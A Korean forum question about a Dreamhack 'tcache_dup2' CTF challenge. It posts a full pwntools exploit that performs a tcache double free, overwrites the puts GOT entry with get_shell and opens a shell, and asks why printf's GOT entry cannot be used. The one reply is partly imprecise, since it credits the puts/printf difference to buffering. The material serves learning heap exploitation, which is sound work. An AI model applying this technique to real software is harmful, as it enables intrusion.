10 코인
printf의 got을 사용하면 실행이 안됩니다
from pwn import *
p = remote("host1.dreamhack.games", 10361)
e = ELF("./tcache_dup2")
def create(size, data):
p.sendlineafter(b"> ", b'1')
p.sendlineafter(b"Size: ", str(size).encode())
p.sendlineafter(b"Data: ", data)
def modify(idx, size, data):
p.sendlineafter(b"> ", b'2')
p.sendlineafter(b"idx: ", str(idx).encode())
p.sendlineafter(b"Size: ", str(size).encode())
p.sendlineafter(b"Data: ", data)
def delete(idx):
p.sendlineafter(b"> ", b'3')
p.sendlineafter(b"idx: ", str(idx).encode())
create(0x30, b'AAAA')
create(0x30, b'AAAA')
delete(0)
delete(1)
modify(1, 0x10, b'B' * 8 + b'\x00')
delete(1)
create(0x30, p64(e.got["puts"]))
create(0x30, b'C' * 8)
create(0x30, p64(e.symbols["get_shell"]))
p.interactive()
실행해서 문제를 해결하였으나 이해되지 않는 부분들이 있어서 질문 드립니다.
-
문제에서 printf("1. Create heap\n");는 puts가 실행되는데 printf("> ");는 printf가 실행되는 이유가 뭔가요? \n의 유무인가요?
-
e.got['puts']는 실행되는데 e.got['printf']는 실행이 안되는 이유는 뭔가요?
#pwnable
작성자 정보
답변
1
-> 크로
대표 업적 없음
- 저도 정확하게는 모르지만 최선을 다해서 대답해 보도록 하겠습니다
- \n의 유무가 맞습니다, \n의 유무는 출력이 즉시 화면에 나타나는지 여부에 영향을 미칩니다. (버퍼링 방식에 따른 차이)
- 이 문제는 GOT에 해당 함수의 항목이 존재하는지 여부와 관련이 있습니다, puts는 문제 코드에서 사용되므로 GOT에 항목이 등록되어 있습니다. e.got['puts']를 사용하면 정상적으로 해당 항목에 접근할 수 있습니다. 여기서 함정은 printf는 문제 코드에서 사용되지 않는다면, 해당 함수가 GOT에 포함되지 않을 수 있습니다.